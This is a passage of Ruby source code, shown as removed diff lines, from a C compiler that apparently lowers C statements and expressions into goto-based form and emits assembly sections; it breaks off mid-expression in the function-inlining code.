- # starts by precompiling parser.toplevel (destructively): - # static symbols are converted to toplevel ones, as nested functions - # uses an ExeFormat (the argument) to create unique label/variable names - # - # remove typedefs/enums - # CExpressions: all expr types are converted to __int8/__int16/__int32/__int64 (sign kept) (incl. ptr), + void - # struct member dereference/array indexes are converted to *(ptr + off) - # coma are converted to 2 statements, ?: are converted to If - # :|| and :&& are converted to If + assignment to temporary - # immediate quotedstrings/floats are converted to references to const static toplevel - # postincrements are replaced by a temporary (XXX arglist) - # compound statements are unnested - # Asm are kept (TODO precompile clobber types) - # Declarations: initializers are converted to separate assignment CExpressions - # Blocks are kept unless empty - # structure dereferences/array indexing are converted to *(ptr + offset) - # While/For/DoWhile/Switch are converted to If/Goto - # Continue/Break are converted to Goto - # Cases are converted to Labels during Switch conversion - # Label statements are removed - # Return: 'return <foo>;' => 'return <foo>; goto <end_of_func>;', 'return;' => 'goto <eof>;' - # If: 'if (a) b; else c;' => 'if (a) goto l1; { c; }; goto l2; l1: { b; } l2:' - # && and || in condition are expanded to multiple If - # functions returning struct are precompiled (in Declaration/CExpression/Return) - # - # in a second phase, unused labels are removed from functions, as noop goto (goto x; x:) - # dead code is removed ('goto foo; bar; baz:' => 'goto foo; baz:') (TODO) - # - # after that, toplevel is no longer valid C (bad types, blocks moved...) - # - # then toplevel statements are sorted (.text, .data, .rodata, .bss) and compiled into asm statements in self.source - # - # returns the asm source in a single string - def compile - cf = @exeformat.unique_labels_cache.keys & @auto_label_list.keys - raise "compile_c name conflict: #{cf.inspect}" if not cf.empty? - @exeformat.unique_labels_cache.update @auto_label_list - - @parser.toplevel.precompile(self) - - # reorder statements (arrays of Variables) following exe section typical order - funcs, rwdata, rodata, udata = [], [], [], [] - @parser.toplevel.statements.each { |st| - if st.kind_of? Asm - @source << st.body - next - end - raise 'non-declaration at toplevel! ' + st.inspect if not st.kind_of? Declaration - v = st.var - if v.type.kind_of? Function - funcs << v if v.initializer # no initializer == storage :extern - elsif v.storage == :extern - elsif v.initializer - if v.type.qualifier.to_a.include?(:const) or - (v.type.kind_of? Array and v.type.type.qualifier.to_a.include?(:const)) - rodata << v - else - rwdata << v - end - else - udata << v - end - } - - if not funcs.empty? - @exeformat.compile_setsection @source, '.text' - funcs.each { |func| c_function(func) } - c_program_epilog - end - - align = 1 - if not rwdata.empty? - @exeformat.compile_setsection @source, '.data' - rwdata.each { |data| align = c_idata(data, align) } - end - - if not rodata.empty? - @exeformat.compile_setsection @source, '.rodata' - rodata.each { |data| align = c_idata(data, align) } - end - - if not udata.empty? - @exeformat.compile_setsection @source, '.bss' - udata.each { |data| align = c_udata(data, align) } - end - - # needed to allow asm parser to use our autogenerated label names - @exeformat.unique_labels_cache.delete_if { |k, v| @auto_label_list[k] } - - @source.join("\n") - end - - # compiles a C function +func+ to asm source into the array of strings +str+ - # in a first pass the stack variable offsets are computed, - # then each statement is compiled in turn - def c_function(func) - # must wait the Declaration to run the CExpr for dynamic auto offsets, - # and must run those statements once only - # TODO alloc a stack variable to maintain the size for each dynamic array - # TODO offset of arguments - # TODO nested function - c_init_state(func) - - # hide the full @source while compiling, then add prolog/epilog (saves 1 pass) - @source << '' - @source << "#{@label_oldname[func.name]}:" if @label_oldname[func.name] - @source << "#{func.name}:" - presource, @source = @source, [] - - c_block(func.initializer) - - tmpsource, @source = @source, presource - c_prolog - @source.concat tmpsource - c_epilog - @source << '' - end - - def c_block(blk) - c_block_enter(blk) - blk.statements.each { |stmt| - case stmt - when CExpression; c_cexpr(stmt) - when Declaration; c_decl(stmt.var) - when If; c_ifgoto(stmt.test, stmt.bthen.target) - when Goto; c_goto(stmt.target) - when Label; c_label(stmt.name) - when Return; c_return(stmt.value) - when Asm; c_asm(stmt) - when Block; c_block(stmt) - else raise - end - } - c_block_exit(blk) - end - - def c_block_enter(blk) - end - - def c_block_exit(blk) - end - - def c_label(name) - @source << "#{name}:" - end - - # fills @state.offset (empty hash) - # automatic variable => stack offset, (recursive) - # offset is an ::Integer or a CExpression (dynamic array) - # assumes offset 0 is a ptr-size-aligned address - # TODO registerize automatic variables - def c_reserve_stack(block, off = 0) - block.statements.each { |stmt| - case stmt - when Declaration - next if stmt.var.type.kind_of? Function - off = c_reserve_stack_var(stmt.var, off) - @state.offset[stmt.var] = off - when Block - c_reserve_stack(stmt, off) - # do not update off, not nested subblocks can overlap - end - } - end - - # computes the new stack offset for var - # off is either an offset from stack start (:ptr-size-aligned) or - # a CExpression [[[expr, +, 7], &, -7], +, off] - def c_reserve_stack_var(var, off) - if (arr_type = var.type).kind_of? Array and (arr_sz = arr_type.length).kind_of? CExpression - # dynamic array ! - arr_sz = CExpression.new(arr_sz, :*, sizeof(nil, arr_type.type), - BaseType.new(:long, :unsigned)).precompile_inner(@parser, nil) - off = CExpression.new(arr_sz, :+, off, arr_sz.type) - off = CExpression.new(off, :+, 7, off.type) - off = CExpression.new(off, :&, -7, off.type) - CExpression.new(off, :+, 0, off.type) - else - al = var.type.align(@parser) - sz = sizeof(var) - case off - when CExpression; CExpression.new(off.lexpr, :+, ((off.rexpr + sz + al - 1) / al * al), off.type) - else (off + sz + al - 1) / al * al - end - end - end - - # here you can add thing like stubs for PIC code - def c_program_epilog - end - - # compiles a C static data definition into an asm string - # returns the new alignment value - def c_idata(data, align) - w = data.type.align(@parser) - @source << ".align #{align = w}" if w > align - - @source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name] - @source << data.name.dup - len = c_idata_inner(data.type, data.initializer) - len %= w - len == 0 ? w : len - end - - # dumps an anonymous variable definition, appending to the last line of source - # source.last is a label name or is empty before calling here - # return the length of the data written - def c_idata_inner(type, value) - case type - when BaseType - value ||= 0 - - if type.name == :void - @source.last << ':' if not @source.last.empty? - return 0 - end - - @source.last << - case type.name - when :__int8; ' db ' - when :__int16; ' dw ' - when :__int32; ' dd ' - when :__int64; ' dq ' - when :ptr; " d#{%w[x b w x d x x x q][@parser.typesize[type.name]]} " - when :float; ' db ' + [value].pack(@parser.endianness == :little ? 'e' : 'g').unpack('C*').join(', ') + ' // ' - when :double; ' db ' + [value].pack(@parser.endianness == :little ? 'E' : 'G').unpack('C*').join(', ') + ' // ' - when :longdouble; ' db ' + [value].pack(@parser.endianness == :little ? 'E' : 'G').unpack('C*').join(', ') + ' // ' # XXX same as :double - else raise "unknown idata type #{type.inspect} #{value.inspect}" - end - - @source.last << c_idata_inner_cexpr(value) - - @parser.typesize[type.name] - - when Struct - value ||= [] - @source.last << ':' if not @source.last.empty? - # could .align here, but if there is our label name just before, it should have been .aligned too.. - raise "unknown struct initializer #{value.inspect}" if not value.kind_of? ::Array - sz = 0 - type.members.zip(value).each { |m, v| - if m.name and wsz = type.offsetof(@parser, m.name) and sz < wsz - @source << "db #{wsz-sz} dup(?)" - end - @source << '' - flen = c_idata_inner(m.type, v) - sz += flen - } - - sz - - when Union - value ||= [] - @source.last << ':' if not @source.last.empty? - len = sizeof(nil, type) - raise "unknown union initializer #{value.inspect}" if not value.kind_of? ::Array - idx = value.rindex(value.compact.last) || 0 - raise "empty union initializer" if not idx - wlen = c_idata_inner(type.members[idx].type, value[idx]) - @source << "db #{'0' * (len - wlen) * ', '}" if wlen < len - - len - - when Array - value ||= [] - if value.kind_of? CExpression and not value.op and value.rexpr.kind_of? ::String - elen = sizeof(nil, value.type.type) - @source.last << - case elen - when 1; ' db ' - when 2; ' dw ' - else raise 'bad char* type ' + value.inspect - end << value.rexpr.inspect - - len = type.length || (value.rexpr.length+1) - if len > value.rexpr.length - @source.last << (', 0' * (len - value.rexpr.length)) - end - - elen * len - - elsif value.kind_of? ::Array - @source.last << ':' if not @source.last.empty? - len = type.length || value.length - value.each { |v| - @source << '' - c_idata_inner(type.type, v) - } - len -= value.length - if len > 0 - @source << " db #{len * sizeof(nil, type.type)} dup(0)" - end - - sizeof(nil, type.type) * len - - else raise "unknown static array initializer #{value.inspect}" - end - end - end - - def c_idata_inner_cexpr(expr) - expr = expr.reduce(@parser) if expr.kind_of? CExpression - case expr - when ::Integer; (expr >= 4096) ? ('0x%X' % expr) : expr.to_s - when ::Numeric; expr.to_s - when Variable - case expr.type - when Array; expr.name - else c_idata_inner_cexpr(expr.initializer) - end - when CExpression - if not expr.lexpr - case expr.op - when :& - case expr.rexpr - when Variable; expr.rexpr.name - else raise 'unhandled addrof in initializer ' + expr.rexpr.inspect - end - #when :* - when :+; c_idata_inner_cexpr(expr.rexpr) - when :-; ' -' << c_idata_inner_cexpr(expr.rexpr) - when nil - e = c_idata_inner_cexpr(expr.rexpr) - if expr.rexpr.kind_of? CExpression - e = '(' << e << " & 0#{'ff'*sizeof(expr)}h)" - end - e - else raise 'unhandled initializer expr ' + expr.inspect - end - else - case expr.op - when :+, :-, :*, :/, :%, :<<, :>>, :&, :|, :^ - e = '(' << c_idata_inner_cexpr(expr.lexpr) << - expr.op.to_s << c_idata_inner_cexpr(expr.rexpr) << ')' - if expr.type.integral? - # db are unsigned - e = '(' << e << " & 0#{'ff'*sizeof(expr)}h)" - end - e - #when :'.' - #when :'->' - #when :'[]' - else raise 'unhandled initializer expr ' + expr.inspect - end - end - else raise 'unhandled initializer ' + expr.inspect - end - end - - def c_udata(data, align) - @source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name] - @source << "#{data.name} " - @source.last << - case data.type - when BaseType - len = @parser.typesize[data.type.name] - case data.type.name - when :__int8; 'db ?' - when :__int16; 'dw ?' - when :__int32; 'dd ?' - when :__int64; 'dq ?' - else "db #{len} dup(?)" - end - else - len = sizeof(data) - "db #{len} dup(?)" - end - len %= align - len == 0 ? align : len - end - - # return non-nil if the variable name is unsuitable to appear as is in the asm listing - # eg filter out asm instruction names - def check_reserved_name(var) - return true if @exeformat.cpu and @exeformat.cpu.check_reserved_name(var.name) - %w[db dw dd dq].include?(var.name) - end - end - - class Statement - # all Statements/Declaration must define a precompile(compiler, scope) method - # it must append itself to scope.statements - - # turns a statement into a new block - def precompile_make_block(scope) - b = Block.new scope - b.statements << self - b - end - end - - class Block - # precompile all statements, then simplifies symbols/structs types - def precompile(compiler, scope=nil) - stmts = @statements.dup - @statements.clear - stmts.each { |st| - compiler.curexpr = st - st.precompile(compiler, self) - } - - # cleanup declarations - @symbol.delete_if { |n, s| not s.kind_of? Variable } - @struct.delete_if { |n, s| not s.kind_of? Union } - @symbol.each_value { |var| - CExpression.precompile_type(compiler, self, var, true) - } - @struct.each_value { |var| - next if not var.members - var.members.each { |m| - CExpression.precompile_type(compiler, self, m, true) - } - } - scope.statements << self if scope and not @statements.empty? - end - - # removes unused labels, and in-place goto (goto toto; toto:) - def precompile_optimize - list = [] - precompile_optimize_inner(list, 1) - precompile_optimize_inner(list, 2) - end - - # step 1: list used labels/unused goto - # step 2: remove unused labels - def precompile_optimize_inner(list, step) - lastgoto = nil - hadref = false - walk = lambda { |expr| - next if not expr.kind_of? CExpression - # gcc's unary && support - if not expr.op and not expr.lexpr and expr.rexpr.kind_of? Label - list << expr.rexpr.name - else - walk[expr.lexpr] - if expr.rexpr.kind_of? ::Array - expr.rexpr.each { |r| walk[r] } - else - walk[expr.rexpr] - end - end - } - @statements.dup.each { |s| - lastgoto = nil if not s.kind_of? Label - case s - when Block - s.precompile_optimize_inner(list, step) - @statements.delete s if step == 2 and s.statements.empty? - when CExpression; walk[s] if step == 1 - when Label - case step - when 1 - if lastgoto and lastgoto.target == s.name - list << lastgoto - list.delete s.name if not hadref - end - when 2; @statements.delete s if not list.include? s.name - end - when Goto, If - s.kind_of?(If) ? g = s.bthen : g = s - case step - when 1 - hadref = list.include? g.target - lastgoto = g - list << g.target - when 2 - if list.include? g - idx = @statements.index s - @statements.delete s - @statements[idx, 0] = s.test if s != g and not s.test.constant? - end - end - end - } - list - end - - # noop - def precompile_make_block(scope) self end - - def continue_label ; defined?(@continue_label) ? @continue_label : @outer.continue_label end - def continue_label=(l) @continue_label = l end - def break_label ; defined?(@break_label) ? @break_label : @outer.break_label end - def break_label=(l) @break_label = l end - def return_label ; defined?(@return_label) ? @return_label : @outer.return_label end - def return_label=(l) @return_label = l end - def nonauto_label=(l) @nonauto_label = l end - def nonauto_label ; defined?(@nonauto_label) ? @nonauto_label : @outer.nonauto_label end - def function ; defined?(@function) ? @function : @outer.function end - def function=(f) @function = f end - end - - class Declaration - def precompile(compiler, scope) - if (@var.type.kind_of? Function and @var.initializer and scope != compiler.toplevel) or @var.storage == :static or compiler.check_reserved_name(@var) - old = @var.name - ref = scope.symbol.delete old - if scope == compiler.toplevel or (@var.type.kind_of?(Function) and not @var.initializer) - if n = compiler.label_oldname.index(old) - # reuse same name as predeclarations - @var.name = n - else - newname = old - newname = compiler.new_label newname until newname != old - if not compiler.check_reserved_name(@var) - compiler.label_oldname[newname] = old - end - @var.name = newname - end - ref ||= scope.symbol[@var.name] || @var - # append only one actual declaration for all predecls (the one with init, or the last uninit) - scope.statements << self if ref.eql?(@var) - else - @var.name = compiler.new_label @var.name until @var.name != old - compiler.toplevel.statements << self - end - compiler.toplevel.symbol[@var.name] = ref - else - scope.symbol[@var.name] ||= @var - appendme = true if scope.symbol[@var.name].eql?(@var) - end - - if i = @var.initializer - if @var.type.kind_of? Function - if @var.type.type.kind_of? Union - s = @var.type.type - v = Variable.new - v.name = compiler.new_label('return_struct_ptr') - v.type = Pointer.new(s) - CExpression.precompile_type(compiler, scope, v) - @var.type.args.unshift v - @var.type.type = v.type - end - i.function = @var - i.return_label = compiler.new_label('epilog') - i.nonauto_label = {} - i.precompile(compiler) - Label.new(i.return_label).precompile(compiler, i) - i.precompile_optimize - # append now so that static dependencies are declared before us - # TODO no pure inline if addrof(func) needed - scope.statements << self if appendme and not @var.attributes.to_a.include? 'inline' - elsif scope != compiler.toplevel and @var.storage != :static - scope.statements << self if appendme - Declaration.precompile_dyn_initializer(compiler, scope, @var, @var.type, i) - @var.initializer = nil - else - scope.statements << self if appendme - @var.initializer = Declaration.precompile_static_initializer(compiler, @var.type, i) - end - else - scope.statements << self if appendme - end - end - - # turns an initializer to CExpressions in scope.statements - def self.precompile_dyn_initializer(compiler, scope, var, type, init) - case type = type.untypedef - when Array - # XXX TODO type.length may be dynamic !! - case init - when CExpression - # char toto[] = "42" - if not init.kind_of? CExpression or init.op or init.lexpr or not init.rexpr.kind_of? ::String - raise "unknown initializer #{init.inspect} for #{var.inspect}" - end - init = init.rexpr.unpack('C*') + [0] - init.map! { |chr| CExpression.new(nil, nil, chr, type.type) } - precompile_dyn_initializer(compiler, scope, var, type, init) - - when ::Array - type.length ||= init.length - # len is an Integer - init.each_with_index { |it, idx| - next if not it - break if idx >= type.length - idx = CExpression.new(nil, nil, idx, BaseType.new(:long, :unsigned)) - v = CExpression.new(var, :'[]', idx, type.type) - precompile_dyn_initializer(compiler, scope, v, type.type, it) - } - else raise "unknown initializer #{init.inspect} for #{var.inspect}" - end - when Union - case init - when CExpression, Variable - if init.type.untypedef.kind_of? BaseType - # works for struct foo bar[] = {0}; ... - type.members.each { |m| - v = CExpression.new(var, :'.', m.name, m.type) - precompile_dyn_initializer(compiler, scope, v, v.type, init) - } - elsif init.type.untypedef.kind_of? type.class - CExpression.new(var, :'=', init, type).precompile(compiler, scope) - else - raise "bad initializer #{init.inspect} for #{var.inspect}" - end - when ::Array - init.each_with_index{ |it, idx| - next if not it - m = type.members[idx] - v = CExpression.new(var, :'.', m.name, m.type) - precompile_dyn_initializer(compiler, scope, v, m.type, it) - } - else raise "unknown initializer #{init.inspect} for #{var.inspect}" - end - else - case init - when CExpression - CExpression.new(var, :'=', init, type).precompile(compiler, scope) - else raise "unknown initializer #{init.inspect} for #{var.inspect}" - end - end - end - - # returns a precompiled static initializer (eg string constants) - def self.precompile_static_initializer(compiler, type, init) - # TODO - case type = type.untypedef - when Array - if init.kind_of? ::Array - init.map { |i| precompile_static_initializer(compiler, type.type, i) } - else - init - end - when Union - if init.kind_of? ::Array - init.zip(type.members).map { |i, m| precompile_static_initializer(compiler, m.type, i) } - else - init - end - else - if init.kind_of? CExpression and init = init.reduce(compiler) and init.kind_of? CExpression - if not init.op and init.rexpr.kind_of? ::String - v = Variable.new - v.storage = :static - v.name = 'char_' + init.rexpr.gsub(/[^a-zA-Z]/, '')[0, 8] - v.type = Array.new(type.type) - v.type.length = init.rexpr.length + 1 - v.type.type.qualifier = [:const] - v.initializer = CExpression.new(nil, nil, init.rexpr, type) - Declaration.new(v).precompile(compiler, compiler.toplevel) - init.rexpr = v - end - init.rexpr = precompile_static_initializer(compiler, init.rexpr.type, init.rexpr) if init.rexpr.kind_of? CExpression - init.lexpr = precompile_static_initializer(compiler, init.lexpr.type, init.lexpr) if init.lexpr.kind_of? CExpression - end - init - end - end - end - - class If - def precompile(compiler, scope) - expr = lambda { |e| e.kind_of?(CExpression) ? e : CExpression.new(nil, nil, e, e.type) } - - if @bthen.kind_of? Goto or @bthen.kind_of? Break or @bthen.kind_of? Continue - # if () goto l; else b; => if () goto l; b; - if belse - t1 = @belse - @belse = nil - end - - # need to convert user-defined Goto target ! - @bthen.precompile(compiler, scope) - @bthen = scope.statements.pop # break => goto break_label - elsif belse - # if () a; else b; => if () goto then; b; goto end; then: a; end: - t1 = @belse - t2 = @bthen - l2 = compiler.new_label('if_then') - @bthen = Goto.new(l2) - @belse = nil - l3 = compiler.new_label('if_end') - else - # if () a; => if (!) goto end; a; end: - t1 = @bthen - l2 = compiler.new_label('if_end') - @bthen = Goto.new(l2) - @test = CExpression.negate(@test) - end - - @test = expr[@test] - case @test.op - when :'&&' - # if (c1 && c2) goto a; => if (!c1) goto b; if (c2) goto a; b: - l1 = compiler.new_label('if_nand') - If.new(CExpression.negate(@test.lexpr), Goto.new(l1)).precompile(compiler, scope) - @test = expr[@test.rexpr] - precompile(compiler, scope) - when :'||' - l1 = compiler.new_label('if_or') - If.new(expr[@test.lexpr], Goto.new(@bthen.target)).precompile(compiler, scope) - @test = expr[@test.rexpr] - precompile(compiler, scope) - else - @test = CExpression.precompile_inner(compiler, scope, @test) - t = @test.reduce(compiler) - if t.kind_of? ::Integer - if t == 0 - Label.new(l1, nil).precompile(compiler, scope) if l1 - t1.precompile(compiler, scope) if t1 - Label.new(l2, nil).precompile(compiler, scope) if l2 - Label.new(l3, nil).precompile(compiler, scope) if l3 - else - scope.statements << @bthen - Label.new(l1, nil).precompile(compiler, scope) if l1 - Label.new(l2, nil).precompile(compiler, scope) if l2 - t2.precompile(compiler, scope) if t2 - Label.new(l3, nil).precompile(compiler, scope) if l3 - end - return - end - scope.statements << self - end - - Label.new(l1, nil).precompile(compiler, scope) if l1 - t1.precompile(compiler, scope) if t1 - Goto.new(l3).precompile(compiler, scope) if l3 - Label.new(l2, nil).precompile(compiler, scope) if l2 - t2.precompile(compiler, scope) if t2 - Label.new(l3, nil).precompile(compiler, scope) if l3 - end - end - - class For - def precompile(compiler, scope) - if init - @init.precompile(compiler, scope) - scope = @init if @init.kind_of? Block - end - - @body = @body.precompile_make_block scope - @body.continue_label = compiler.new_label 'for_continue' - @body.break_label = compiler.new_label 'for_break' - label_test = compiler.new_label 'for_test' - - Label.new(label_test).precompile(compiler, scope) - if test - If.new(CExpression.negate(@test), Goto.new(@body.break_label)).precompile(compiler, scope) - end - - @body.precompile(compiler, scope) - - Label.new(@body.continue_label).precompile(compiler, scope) - if iter - @iter.precompile(compiler, scope) - end - - Goto.new(label_test).precompile(compiler, scope) - Label.new(@body.break_label).precompile(compiler, scope) - end - end - - class While - def precompile(compiler, scope) - @body = @body.precompile_make_block scope - @body.continue_label = compiler.new_label('while_continue') - @body.break_label = compiler.new_label('while_break') - - Label.new(@body.continue_label).precompile(compiler, scope) - - If.new(CExpression.negate(@test), Goto.new(@body.break_label)).precompile(compiler, scope) - - @body.precompile(compiler, scope) - - Goto.new(@body.continue_label).precompile(compiler, scope) - Label.new(@body.break_label).precompile(compiler, scope) - end - end - - class DoWhile - def precompile(compiler, scope) - @body = @body.precompile_make_block scope - @body.continue_label = compiler.new_label('dowhile_continue') - @body.break_label = compiler.new_label('dowhile_break') - loop_start = compiler.new_label('dowhile_start') - - Label.new(loop_start).precompile(compiler, scope) - - @body.precompile(compiler, scope) - - Label.new(@body.continue_label).precompile(compiler, scope) - - If.new(@test, Goto.new(loop_start)).precompile(compiler, scope) - - Label.new(@body.break_label).precompile(compiler, scope) - end - end - - class Switch - def precompile(compiler, scope) - var = Variable.new - var.storage = :register - var.name = compiler.new_label('switch') - var.type = @test.type - var.initializer = @test - CExpression.precompile_type(compiler, scope, var) - Declaration.new(var).precompile(compiler, scope) - - @body = @body.precompile_make_block scope - @body.break_label = compiler.new_label('switch_break') - @body.precompile(compiler) - default = @body.break_label - # recursive lambda to change Case to Labels - # dynamically creates the If sequence - walk = lambda { |blk| - blk.statements.each_with_index { |s, i| - case s - when Case - label = compiler.new_label('case') - if s.expr == 'default' - default = label - elsif s.exprup - If.new(CExpression.new(CExpression.new(var, :'>=', s.expr, BaseType.new(:int)), :'&&', - CExpression.new(var, :'<=', s.exprup, BaseType.new(:int)), - BaseType.new(:int)), Goto.new(label)).precompile(compiler, scope) - else - If.new(CExpression.new(var, :'==', s.expr, BaseType.new(:int)), - Goto.new(label)).precompile(compiler, scope) - end - blk.statements[i] = Label.new(label) - when Block - walk[s] - end - } - } - walk[@body] - Goto.new(default).precompile(compiler, scope) - scope.statements << @body - Label.new(@body.break_label).precompile(compiler, scope) - end - end - - class Continue - def precompile(compiler, scope) - Goto.new(scope.continue_label).precompile(compiler, scope) - end - end - - class Break - def precompile(compiler, scope) - Goto.new(scope.break_label).precompile(compiler, scope) - end - end - - class Return - def precompile(compiler, scope) - if @value - @value = CExpression.new(nil, nil, @value, @value.type) if not @value.kind_of? CExpression - if @value.type.untypedef.kind_of? Union - @value = @value.precompile_inner(compiler, scope) - func = scope.function.type - CExpression.new(CExpression.new(nil, :*, func.args.first, @value.type), :'=', @value, @value.type).precompile(compiler, scope) - @value = func.args.first - else - # cast to function return type - @value = CExpression.new(nil, nil, @value, scope.function.type.type).precompile_inner(compiler, scope) - end - scope.statements << self - end - Goto.new(scope.return_label).precompile(compiler, scope) - end - end - - class Label - def precompile(compiler, scope) - if name and (not compiler.auto_label_list[@name]) - @name = scope.nonauto_label[@name] ||= compiler.new_label(@name) - end - scope.statements << self - if statement - @statement.precompile(compiler, scope) - @statement = nil - end - end - end - - class Case - def precompile(compiler, scope) - @expr = CExpression.precompile_inner(compiler, scope, @expr) - @exprup = CExpression.precompile_inner(compiler, scope, @exprup) if exprup - super(compiler, scope) - end - end - - class Goto - def precompile(compiler, scope) - if not compiler.auto_label_list[@target] - @target = scope.nonauto_label[@target] ||= compiler.new_label(@target) - end - scope.statements << self - end - end - - class Asm - def precompile(compiler, scope) - scope.statements << self - # TODO CExpr.precompile_type(clobbers) - end - end - - class CExpression - def precompile(compiler, scope) - i = precompile_inner(compiler, scope, false) - scope.statements << i if i - end - - # changes obj.type to a precompiled type - # keeps struct/union, change everything else to __int\d - # except Arrays if declaration is true (need to know variable allocation sizes etc) - # returns the type - def self.precompile_type(compiler, scope, obj, declaration = false) - case t = obj.type.untypedef - when BaseType - case t.name - when :void - when :float, :double, :longdouble - else t = BaseType.new("__int#{compiler.typesize[t.name]*8}".to_sym, t.specifier) - end - when Array - if declaration; precompile_type(compiler, scope, t, declaration) - else t = BaseType.new("__int#{compiler.typesize[:ptr]*8}".to_sym, :unsigned) - end - when Pointer - if t.type.untypedef.kind_of? Function - precompile_type(compiler, scope, t, declaration) - else - t = BaseType.new("__int#{compiler.typesize[:ptr]*8}".to_sym, :unsigned) - end - when Enum; t = BaseType.new("__int#{compiler.typesize[:int]*8}".to_sym) - when Function - precompile_type(compiler, scope, t) - t.args ||= [] - t.args.each { |a| precompile_type(compiler, scope, a) } - when Union - if declaration and t.members and not t.name # anonymous struct - t.members.each { |a| precompile_type(compiler, scope, a, true) } - end - else raise 'bad type ' + t.inspect - end - (t.qualifier ||= []).concat obj.type.qualifier if obj.type.qualifier and t != obj.type - (t.attributes ||= []).concat obj.type.attributes if obj.type.attributes and t != obj.type - while obj.type.kind_of? TypeDef - obj.type = obj.type.type - (t.qualifier ||= []).concat obj.type.qualifier if obj.type.qualifier and t != obj.type - (t.attributes ||= []).concat obj.type.attributes if obj.type.attributes and t != obj.type - end - obj.type = t - end - - def self.precompile_inner(compiler, scope, expr, nested = true) - case expr - when CExpression; expr.precompile_inner(compiler, scope, nested) - else expr - end - end - - # returns a new CExpression with simplified self.type, computes structure offsets - # turns char[]/float immediates to reference to anonymised const - # TODO 'a = b += c' => 'b += c; a = b' (use nested argument) - # TODO handle precompile_inner return nil - # TODO struct.bits - def precompile_inner(compiler, scope, nested = true) - case @op - when :'.' - # a.b => (&a)->b - lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - ll = lexpr - ll = lexpr.rexpr while ll.kind_of? CExpression and not ll.op - if ll.kind_of? CExpression and ll.op == :'*' and not ll.lexpr - # do not change lexpr.rexpr.type directly to a pointer, might retrigger (ptr+imm) => (ptr + imm*sizeof(*ptr)) - @lexpr = CExpression.new(nil, nil, ll.rexpr, Pointer.new(lexpr.type)) - else - @lexpr = CExpression.new(nil, :'&', lexpr, Pointer.new(lexpr.type)) - end - @op = :'->' - precompile_inner(compiler, scope) - when :'->' - # a->b => *(a + off(b)) - struct = @lexpr.type.untypedef.type.untypedef - lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @lexpr = nil - @op = nil - if struct.kind_of? Union and (off = struct.offsetof(compiler, @rexpr)) != 0 - off = CExpression.new(nil, nil, off, BaseType.new(:int, :unsigned)) - @rexpr = CExpression.new(lexpr, :'+', off, lexpr.type) - # ensure the (ptr + value) is not expanded to (ptr + value * sizeof(*ptr)) - CExpression.precompile_type(compiler, scope, @rexpr) - else - # union or 1st struct member - @rexpr = lexpr - end - if @type.kind_of? Array # Array member type is already an address - else - @rexpr = CExpression.new(nil, :*, @rexpr, @rexpr.type) - end - precompile_inner(compiler, scope) - when :'[]' - rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - if rexpr.kind_of? CExpression and not rexpr.op and rexpr.rexpr == 0 - @rexpr = @lexpr - else - @rexpr = CExpression.new(@lexpr, :'+', rexpr, @lexpr.type) - end - @op = :'*' - @lexpr = nil - precompile_inner(compiler, scope) - when :'?:' - # cannot precompile in place, a conditionnal expression may have a coma: must turn into If - if @lexpr.kind_of? CExpression - @lexpr = @lexpr.precompile_inner(compiler, scope) - if not @lexpr.lexpr and not @lexpr.op and @lexpr.rexpr.kind_of? ::Numeric - if @lexpr.rexpr == 0 - e = @rexpr[1] - else - e = @rexpr[0] - end - e = CExpression.new(nil, nil, e, e.type) if not e.kind_of? CExpression - return e.precompile_inner(compiler, scope) - end - end - raise 'conditional in toplevel' if scope == compiler.toplevel # just in case - var = Variable.new - var.storage = :register - var.name = compiler.new_label('ternary') - var.type = @rexpr[0].type - CExpression.precompile_type(compiler, scope, var) - Declaration.new(var).precompile(compiler, scope) - If.new(@lexpr, CExpression.new(var, :'=', @rexpr[0], var.type), CExpression.new(var, :'=', @rexpr[1], var.type)).precompile(compiler, scope) - @lexpr = nil - @op = nil - @rexpr = var - precompile_inner(compiler, scope) - when :'&&' - if scope == compiler.toplevel - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - CExpression.precompile_type(compiler, scope, self) - self - else - var = Variable.new - var.storage = :register - var.name = compiler.new_label('and') - var.type = @type - CExpression.precompile_type(compiler, scope, var) - var.initializer = CExpression.new(nil, nil, 0, var.type) - Declaration.new(var).precompile(compiler, scope) - l = @lexpr.kind_of?(CExpression) ? @lexpr : CExpression.new(nil, nil, @lexpr, @lexpr.type) - r = @rexpr.kind_of?(CExpression) ? @rexpr : CExpression.new(nil, nil, @rexpr, @rexpr.type) - If.new(l, If.new(r, CExpression.new(var, :'=', CExpression.new(nil, nil, 1, var.type), var.type))).precompile(compiler, scope) - @lexpr = nil - @op = nil - @rexpr = var - precompile_inner(compiler, scope) - end - when :'||' - if scope == compiler.toplevel - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - CExpression.precompile_type(compiler, scope, self) - self - else - var = Variable.new - var.storage = :register - var.name = compiler.new_label('or') - var.type = @type - CExpression.precompile_type(compiler, scope, var) - var.initializer = CExpression.new(nil, nil, 1, var.type) - Declaration.new(var).precompile(compiler, scope) - l = @lexpr.kind_of?(CExpression) ? @lexpr : CExpression.new(nil, nil, @lexpr, @lexpr.type) - l = CExpression.new(nil, :'!', l, var.type) - r = @rexpr.kind_of?(CExpression) ? @rexpr : CExpression.new(nil, nil, @rexpr, @rexpr.type) - r = CExpression.new(nil, :'!', r, var.type) - If.new(l, If.new(r, CExpression.new(var, :'=', CExpression.new(nil, nil, 0, var.type), var.type))).precompile(compiler, scope) - @lexpr = nil - @op = nil - @rexpr = var - precompile_inner(compiler, scope) - end - when :funcall - if @lexpr.kind_of? Variable and @lexpr.type.kind_of? Function and @lexpr.attributes and @lexpr.attributes.include? 'inline' and @lexpr.initializer - # TODO check recursive call (direct or indirect) - raise 'inline varargs unsupported' if @lexpr.type.varargs - rtype = @lexpr.type.type.untypedef - if not rtype.kind_of? BaseType or rtype.name != :void - rval = Variable.new - rval.name = compiler.new_label('inline_return') - rval.type = @lexpr.type.type - Declaration.new(rval).precompile(compiler, scope) - end - inline_label = {} - locals = @lexpr.type.args.zip(@rexpr).inject({}) { |h, (fa, a)| - h.update fa => CExpression.new(nil, nil, a, fa.type).precompile_inner(compiler, scope) - } - copy_inline_ce = lambda { |ce| - case ce - when CExpression; CExpression.new(copy_inline_ce[ce.lexpr], ce.op, 